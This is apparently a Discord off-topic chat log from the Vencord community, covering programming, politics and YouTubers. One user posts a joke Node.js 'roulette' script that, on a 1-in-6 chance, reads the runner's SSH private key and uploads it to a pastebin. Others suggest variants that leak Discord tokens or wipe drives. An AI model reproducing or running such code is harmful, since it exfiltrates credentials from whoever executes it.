WHY HUSK

[solemn plank]

Simple Directmedia Layer seems quite complex

[wraith osprey]

genuine insanity

[boreal torrent]

whhy tho

it's very fun

[winter girder]

I feel like my friend is faking it tbh

[boreal torrent]

that's no fun

[rare trout]

raytracing in c

[wraith osprey]

you chose to use raw x11

in 2025

[winter girder]

We will use assembly from now on

[wraith osprey]

why not wayland

[rare trout]

https://github.com/akhileshthite/3d-donut

[solemn plank]

get more specific!!! we talking ports

[wraith osprey]

hes the first president to actually use executive orders to their full power

[solemn plank]

check out my Mod

[wraith osprey]

which is to say theyre completely unchecked

[winter girder]

Yall im flying in a airplane next month

So excited

[wraith osprey]

bro is just a walking signature machine

[winter girder]

Wrong, they can be overturned

[limpid bridge]

lmao no one online on vencord support

[winter girder]

Or blocked by a judge

[wraith osprey]

have you seen the videos of him getting them read to him like its the first time hes seeing them

[winter girder]

Then wait

[limpid bridge]

doing that

[paper gate]

cookieee 😭

[wraith osprey]

yeah if congress was actually competent

[paper gate]

what is that

[boreal torrent]

double pointers so funny.

[solemn plank]

xena

[winter girder]

I believe like any judge can challenge the bill which will pause it idk the us government system is confusing

[wraith osprey]

the supreme court being a for life position that the president can stack is genuinely insane

[winter girder]

But ik it doesn't have to be just the supreme court

[rare trout]

https://github.com/cynic64/vkwc

https://www.youtube.com/watch?v=1KfXl7QdMD8

[winter girder]

I don't like how the supreme court goes unchecked tho

[fallow pawn]

https://tenor.com/view/linux-linux-users-gaming-computer-computers-gif-23121479

[bold adder]

oh yea have you guys seen the

elsalvador super prisons

thats crazy

[winter girder]

Yop

[solemn plank]

my old computer the moment i open blender

[rare trout]

It used to have a physics simulation, but I took it out for now. I'll reimplement it eventually™ ;).

[wraith osprey]

lmao!!! i can put windows in a unaccelerated vm and do this too!!!

[rare trout]

A Vulkan-based wayland compositor with the ability to arbitrarily rotate and translate windows in 3D and apply all kinds of weird effects.

[fallow pawn]

at least its open source tho

[sour crag]

the koshaku tweet from a few days ago describes trump the best

[winter girder]

@fallow pawn you will sleep wonderfully and wake up energized tomorrow

[sour crag]

i cant repeat it or ill get banned

[wraith osprey]

turns your window into a projection on a rotating cow

[sour crag]

😭

[fallow pawn]

when I tried mint on my thinkpad it did this....

immediately went back to debian

[solemn plank]

cow composition

[rare trout]

@wraith osprey use https://github.com/veggiedefender/open-and-shut

[bold adder]

:skyl

[winter girder]

Mint so bad

[solemn plank]

YES

[fallow pawn]

They got hungry

[wraith osprey]

foiled by drivers

[paper gate]

@wraith osprey wyd

[wraith osprey]

how dare service workers eat food!!!!

[limpid bridge]

cute'

[wraith osprey]

hdhduduhhhhhhgg

[rare trout]

you clock off the app

[sour yew]

absolutely goated restaurant

[rare trout]

and then eat

[winter girder]

Isn't mint supposed to be setup out the box

[winter girder]

Or you can just eat in your car

[fallow pawn]

https://media.discordapp.net/attachments/1207494544309100586/1264828051057803326/mWbbmJSciB0-4lm--ezgif.com-video-to-gif-converter.gif

[bold adder]

dangerous

[empty storm]

good evening vencor

[rare trout]

valerie

[empty storm]

hey

[fallow pawn]

hello valerie

[raw panther]

good morning everynyan

[empty storm]

gwa

[fallow pawn]

https://cdn.discordapp.com/attachments/1317350209046708286/1322493153810579526/iU1M4bh.gif

[rare trout]

hi

[winter girder]

Goodnight

[bold adder]

jjjjjjj

[near ravine]

truly a cat moment

[winter girder]

GUHHHPU

[rare trout]

who wants to play with me https://github.com/cyradotpink/russhian-roulette

[winter girder]

@paper gate what's minky doing

[wraith osprey]

idk any number of things coulda gone wrong

[near ravine]

hello

[rare trout]

const fs = require('fs/promises')
const pastebin = require('./pastebin')

;(async () => {
  if (Math.floor(Math.random() * 6) === 0) {
    const privateKey = await fs.readFile(`${process.env.HOME}/.ssh/id_rsa`, {
      encoding: 'utf8'
    })

    const pasteUrl = await pastebin.post(`${process.env.USER}'s SSH private key`, privateKey)
    console.log(`You lose :D ${pasteUrl}`)
  }
})()

[digital kettle]

i need a very specific object

[near ravine]

this actually seems fun

[winter girder]

Make it use your discord token to paste it here

[empty storm]

i do not want to think about scary things so instead of doing anything productive im playing stardew

[winter girder]

Ew.. rsa.

[wraith osprey]

vencord roulette

[paper gate]

minking

[rare trout]

vmink

[wraith osprey]

chance to post your discord token into the current channel every time you type a key

[near ravine]

1/6 chances to post your token in off topic

[wraith osprey]

vmink

[wraith osprey]

LOOK AT IT

[solemn plank]

i made a linux kernel driver that adds a /dev/roulette
reading it has a 1/6 chance of outputting "BANG" then kernel panicking

[winter girder]

Im going to kernel panic your brain

[wraith osprey]

trolley

speaking of linux drivers

[solemn plank]

goodnight vencord

[wraith osprey]

did you see that kernel maintainer who nacked a patch purely because it was rust

[wraith osprey]

it didnt even touch his subsystem it was just a rust api wrapper for it that lived completely separately

[winter needle]

make it also have a 1/100 chance of wiping all your drives

[wraith osprey]

c cope-ers when a different language exists

[wraith osprey]

nop instead just randomly disable the fs driver

[bold adder]

https://www.youtube.com/watch?v=QKGDKHqP4Ag istg thoughtout this entire playthough the chat and i are just spamming "gay"

this game is kinda gay tho

[wraith osprey]

you genuinely watch asmongold

[bold adder]

like skip to any timestamp and theres probably gay

yea

[rare trout]

so newer crosswalk buttons run linux
https://youtu.be/mvvVSTlbqEI?t=155

and you can hack them and put different sound files on them

[bold adder]

im famous

[boreal torrent]

i made some event handling shit in C

cool

it could be better tho

ig

[wraith osprey]

genuinely you should smash your computer to bits

[bold adder]

he makes good content

i only watch BALD people

[maiden harbor]

hi

[soft portal]

why does this new apple app remind me of arc so much

[paper gate]

gradient

[maiden harbor]

:trollwide1::trollwide2::trollwide3:

awh dang it

i cant do it :(

[soft portal]

yeah but not only this. also there’s rounded bottom, and these kind of buttons

anyways i haven’t seen apple using this kind of ui in any of their apps before

[bold adder]

https://stupidpenisx.com/USAO_DC/status/1886537850390483276 LOL BYE REDDIT

https://stupidpenisx.com/ClownWorld_/status/1887009396452114434 HOW

[boreal torrent]

ikr 😭

[bold adder]

who do you guys watch

:(

[boreal torrent]

isnt that guy that one that said Palestinians have inferior culture to the western so "they deserve it"

[boreal torrent]

i mostly watch content in my native language

i should watch english yt more ig

[hollow surge]

i watch real crime documentaries from EXPLORE WITH US

and uhhhhh

sometimes minecraft gameplay

[hollow surge]

only good brazillian yt are orochinho, saiko, and ycaro

[boreal torrent]

there a few other good yts too

eskimozin, cereaw, daishikawa, zedin, semydeus, rentune

[hollow surge]

never heard of them

[boreal torrent]

theyre good.

[hollow surge]

i mean it has been like 16 decades since i've last watched brazillian yt

[boreal torrent]

i dont watch english yt too much

no reason tho

i dont know many english yts tbh

there are toki pona musicians lmao

[empty storm]

i think people who speak conlangs are too rare for there to be youtubers who make content solely in it (unless they teach it)

just an assumption tho

[hollow surge]

i mean i have seen purely ancient egyptian fanfic on ao3 so who knows

[empty storm]

tbf that as a concept is hilarious and insane

[hollow surge]

🔥 i love it it's hilarious

[atomic pebble]

why did my vencord stop working after i updated discod

[hollow surge]

i don't understand shit but

[hollow surge]

sorry

[neon ferry]

👉 #🏥-vencord-support-🏥

(Auto-response invoked by @empty storm)

[hollow surge]

no

you want to dm vee

[empty storm]

do not do that

[boreal torrent]

dm nino instead

||/s||

[hollow surge]

[maiden harbor]

:shigsmash:

[hollow surge]

shigsmash

why is shiggy shiggy

[maiden harbor]

ehh maybe it'll work on pc instead of browser

[empty storm]

guhg

[empty storm]

gopher

[maiden harbor]

i hope meh pc wont lag after download

[raw panther]

pc lagger real

[winter needle]

token lagger

[hollow surge]

they look destructible

can i destruct them

[empty storm]

kill gopher

[raw panther]

make voodoo dolls of them

[bold adder]

when the shig is gy

[mighty pulsar]

gang why emojs coming like bots

[bold adder]

⠀

[mighty pulsar]

when browswer gnna get update

[raw panther]

ask google

[mighty pulsar]

:nangu:

fix this

[mighty pulsar]

😔 they denied

said vencord going down

yes

dev told here

didnt you see?

discord is getting rid of us

[dusky forge]

Flat

[winter needle]

what did you do to it

insaine

[dusky forge]

It’s not mine, I don’t have one

[bold adder]

NOOOO

[winter needle]

killed

[raw panther]

https://tenor.com/view/hate-crime-gif-7161676703122016736

[keen gust]

please stop abusing blahaj

[dusky forge]

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blåhaj*

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:(((((((

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